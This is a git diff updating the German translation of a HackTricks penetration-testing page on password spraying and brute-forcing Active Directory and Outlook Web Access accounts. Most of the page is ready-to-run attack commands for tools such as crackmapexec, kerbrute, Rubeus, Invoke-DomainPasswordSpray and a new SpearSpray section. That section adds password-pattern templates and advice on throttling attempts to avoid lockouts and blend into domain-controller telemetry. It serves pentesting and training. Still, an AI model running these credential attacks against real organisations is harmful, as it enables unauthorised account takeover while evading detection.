Translated ['', 'src/windows-hardening/active-directory-methodology/pass

This commit is contained in:
Translator 2025-08-26 18:09:12 +00:00
parent b258152083
commit 83e880a3b3

View File

@ -1,19 +1,20 @@
# Passwort-Spraying / Brute Force
# Password Spraying / Brute Force
{{#include ../../banners/hacktricks-training.md}}
## **Passwort-Spraying**
Sobald Sie mehrere **gültige Benutzernamen** gefunden haben, können Sie die häufigsten **Passwörter** ausprobieren (denken Sie an die Passwort-Richtlinie der Umgebung) mit jedem der entdeckten Benutzer.\
Standardmäßig beträgt die **minimale** **Passwort** **länge** **7**.
## **Password Spraying**
Listen mit häufigen Benutzernamen könnten ebenfalls nützlich sein: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Sobald du mehrere **gültige Benutzernamen** gefunden hast, kannst du bei jedem der entdeckten Benutzer die häufigsten **Passwörter** ausprobieren (beachte die Passwortrichtlinie der Umgebung).\
Standardmäßig ist die **minimale Passwortlänge** **7**.
Beachten Sie, dass Sie **einige Konten sperren könnten, wenn Sie mehrere falsche Passwörter ausprobieren** (standardmäßig mehr als 10).
Listen mit häufigen Benutzernamen können ebenfalls nützlich sein: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
### Passwort-Richtlinie abrufen
Beachte, dass du einige Konten sperren könntest, wenn du mehrere falsche Passwörter ausprobierst (standardmäßig mehr als 10).
Wenn Sie einige Benutzeranmeldeinformationen oder eine Shell als Domänenbenutzer haben, können Sie **die Passwort-Richtlinie mit**:
### Passwortrichtlinie abrufen
Wenn du über Benutzeranmeldeinformationen oder eine Shell als Domain-Benutzer verfügst, kannst du die **Passwortrichtlinie** wie folgt abrufen:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -30,9 +31,9 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Ausnutzung von Linux (oder allen)
### Exploitation von Linux (oder allgemein)
- Verwendung von **crackmapexec:**
- Mit **crackmapexec:**
```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
@ -46,20 +47,20 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
- [**spray**](https://github.com/Greenwolf/Spray) _**(Sie können die Anzahl der Versuche angeben, um Sperrungen zu vermeiden):**_
- [**spray**](https://github.com/Greenwolf/Spray) _**(du kannst die Anzahl der Versuche angeben, um Sperren zu vermeiden):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- Verwendung von [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (Python) - NICHT EMPFOHLEN, FUNKTIONIERT MANCHMAL NICHT
- Verwendung von [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NICHT EMPFOHLEN; FUNKTIONIERT MANCHMAL NICHT
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
- Mit dem `scanner/smb/smb_login` Modul von **Metasploit**:
- Mit dem Modul `scanner/smb/smb_login` von **Metasploit**:
![](<../../images/image (745).png>)
- Verwendung von **rpcclient**:
- Mit **rpcclient**:
```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
@ -68,7 +69,7 @@ done
```
#### Von Windows
- Mit der [Rubeus](https://github.com/Zer1t0/Rubeus) Version mit Brute-Modul:
- Mit [Rubeus](https://github.com/Zer1t0/Rubeus) Version mit brute module:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -76,7 +77,7 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- Mit [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Es kann standardmäßig Benutzer aus der Domäne generieren und es wird die Passwortpolitik der Domäne abrufen und die Versuche entsprechend begrenzen):
- Mit [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Es kann standardmäßig Benutzer aus der Domain generieren und ermittelt die Kennwortrichtlinie aus der Domain und begrenzt die Anzahl der Versuche entsprechend):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
@ -88,17 +89,82 @@ Invoke-SprayEmptyPassword
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
### Kerberos pre-authbasiertes Spraying mit LDAP-Targeting und PSO-bewusster Drosselung (SpearSpray)
Kerberos pre-authbasiertes Spraying reduziert das Rauschen im Vergleich zu SMB/NTLM/LDAP bind-Versuchen und passt besser zu AD-Sperrungsrichtlinien. SpearSpray kombiniert LDAP-gesteuertes Targeting, eine Pattern-Engine und Richtlinienbewusstsein (Domänenrichtlinie + PSOs + badPwdCount-Puffer), um gezielt und sicher zu sprühen. Es kann außerdem kompromittierte principals in Neo4j markieren, um BloodHound-Pfade zu ermöglichen.
Kernideen:
- LDAP-Benutzererkennung mit Paging und LDAPS-Unterstützung, optional mit benutzerdefinierten LDAP-Filtern.
- Domänen-Sperrungsrichtlinie + PSO-berücksichtigende Filterung, um einen konfigurierbaren Versuchspuffer (Schwelle) zu belassen und das Sperren von Benutzern zu vermeiden.
- Kerberos pre-auth Validierung unter Verwendung schneller gssapi-Bindings (erzeugt 4768/4771 auf DCs statt 4625).
- Musterbasierte, pro-Benutzer Passwortgenerierung unter Verwendung von Variablen wie Namen und zeitlichen Werten, abgeleitet aus dem pwdLastSet jedes Benutzers.
- Durchsatzkontrolle mit Threads, Jitter und maximalen Anfragen pro Sekunde.
- Optionale Neo4j-Integration zum Markieren übernommener Benutzer für BloodHound.
Grundlegende Nutzung und Erkennung:
```bash
# List available pattern variables
spearspray -l
# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
Zielauswahl und Musterkontrolle:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
Stealth und Sicherheitskontrollen:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
```
Neo4j/BloodHound-Anreicherung:
```bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
```
Übersicht des Pattern-Systems (patterns.txt):
```text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}
```
Available variables include:
- {name}, {samaccountname}
- Temporal from each users pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Composition helpers and org token: {separator}, {suffix}, {extra}
Operational notes:
- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
> Tipp: Die Standard-LDAP-Seitengröße von SpearSpray ist 200; passe bei Bedarf mit -lps an.
## Outlook Web Access
Es gibt mehrere Tools für p**assword spraying outlook**.
- Mit [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- mit [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- Mit [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- Mit [Ruler](https://github.com/sensepost/ruler) (zuverlässig!)
- Mit [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- Mit [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Um eines dieser Tools zu verwenden, benötigen Sie eine Benutzerliste und ein Passwort / eine kleine Liste von Passwörtern zum Sprühen.
Um eines dieser Tools zu verwenden, benötigst du eine Benutzerliste und ein Passwort bzw. eine kleine Liste von Passwörtern zum Sprayen.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -117,8 +183,13 @@ Um eines dieser Tools zu verwenden, benötigen Sie eine Benutzerliste und ein Pa
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
## References
## Referenzen
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)